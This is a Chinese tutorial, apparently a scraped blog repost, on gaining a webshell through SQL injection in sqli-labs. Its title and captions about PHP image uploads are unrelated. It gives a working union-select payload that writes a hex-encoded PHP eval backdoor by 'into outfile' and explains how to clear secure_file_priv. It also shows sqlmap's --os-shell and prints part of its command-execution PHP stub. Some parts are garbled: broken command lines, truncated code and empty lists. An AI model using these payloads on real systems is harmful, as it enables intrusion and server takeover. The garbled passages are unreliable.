php上传图片到指定文件夹_php原生上传图片并保存到文件夹_前端上传图片到php

介绍几种利用sql注入获取系统权限的方法,一种是使用outfile函数,另一种是使用–os-shell。

1.进入outfile

使用条件

1. 该方法利用的先决条件

2. secure_file_priv

secure_file_priv用于限制load dumpfile、into outfile、load_file()函数有权限上传和读取文件的目录。 secure_file_priv的值在mysql 5.6.34版本之后默认为NULL。下面是secure_file_priv的配置介绍

那么如果我们要使用into outfile函数写一句话,就需要将secure_file_priv的值设置为无值,怎么设置呢?修改secure_file_priv的值只能通过手动打开配置文件来修改,不能直接用sql语句修改

(1)看secure-file-priv参数的值

显示全局变量,如“%secure%”;

如下,secure_file_priv的值默认为NULL,表示不允许mysqld import|export

php上传图片到指定文件夹_php原生上传图片并保存到文件夹_前端上传图片到php

(2)修改secure_file_priv的值

我们可以查看mysql/my.ini中是否有secure_file_priv参数,如果没有,可以加上secure_file_priv = ' '

php上传图片到指定文件夹_前端上传图片到php_php原生上传图片并保存到文件夹

这时查看secure_file_priv的值如下,已经变空了

php上传图片到指定文件夹_前端上传图片到php_php原生上传图片并保存到文件夹

设置完成后,我们就可以使用这个函数来写一句木马了

写入webshel​​l

下面以sqli-labs第七关为例

1、注入点的判断

正确的语法正常显示,错误的语法显示为语法错误。 页面只有两种状态,判断为盲注。当我们输入 ?id=3')) 和 sleep(5) –+ 时,延迟成功,所以注入点为3')) ,我们输入的字符是用单引号括起来的,单引号外还有两个字符双引号换行

2.确定列数

我们使用 order by 语句来确定列数。 按3排序时显示正常,按4排序时异常,判断为3列

3.写入webshel​​l

如果我们之前已经通过一些方法得到了网站的根目录,可以写一句“ ”,一句话,建议进行16进制转码

编码后,再在最前面加上0x。如下,我们将16进制编码后的一句话木马写入根目录下的outfile.php文件中

?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\Users\Administrator.WIN2012\Desktop\phpStudy\WWW\outfile.php' –+

写入成功,这里的网站目录一定要用双斜杠,否则不会写入,第一个斜杠表示转义。 字符串解析不限于C编译器、Java编译器的解析php上传图片到指定文件夹,一些配置文件、Web服务器等,都会遇到解析字符串的问题。 由于传统Windows使用单斜杠路径分隔形式,在解析文件路径时可能会出现不必要的错误,所以就有了双反斜杠“\”分隔路径的形式。 不管解析引擎是否将反斜杠解析成转义符,最终在内存中得到的都是“”,结果不会有问题。

php原生上传图片并保存到文件夹_前端上传图片到php_php上传图片到指定文件夹

4.连接webshel​​l

连接成功

如果我们将secure_file_priv的值设置为null,我们发现在上面的写操作中并没有写入。

前端上传图片到php_php原生上传图片并保存到文件夹_php上传图片到指定文件夹

所以有两种情况没有写进去:

2. –os-shell

原则

–os-shell 是使用udf提权获取WebShell。它也是通过oufile写两个文件到服务器,一个可以直接执行系统命令,一个可以上传文件

这是sqlmap的一个命令,使用这个命令的前提条件:

使用

1.测试

下面以sqli-labs第一关为例

sqlmap -u –os-shell

php上传图片到指定文件夹_php原生上传图片并保存到文件夹_前端上传图片到php

sqlmap在指定目录下生成两个文件(文件名随机,不固定):

1、tmpbeewq.php文件内容为

&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"
$w

访问

php上传图片到指定文件夹_前端上传图片到php_php原生上传图片并保存到文件夹

2.使用tmpuqvgw.php上传文件

我们上传一个php一句话后门

使用权

所以这两种方法都需要知道网站的绝对路径。

补充:

上面提到了将sqlmap写入webshel​​l的三种方式,缺一不可

在最近的一次网络防护中,使用了sqlmap来编写webshel​​l。 我知道网站的根目录,但是还是写不进去,是因为secure_file_priv的值为NULLphp上传图片到指定文件夹,怎么知道这个值是多少?

--sql-shell

我们可以用这个先执行一些sql语句,比如这是实战中的测试

前端上传图片到php_php原生上传图片并保存到文件夹_php上传图片到指定文件夹

输入sql语句

选择@@secure_file_priv

提示为空

于是就会出现,如下错误

原文链接:2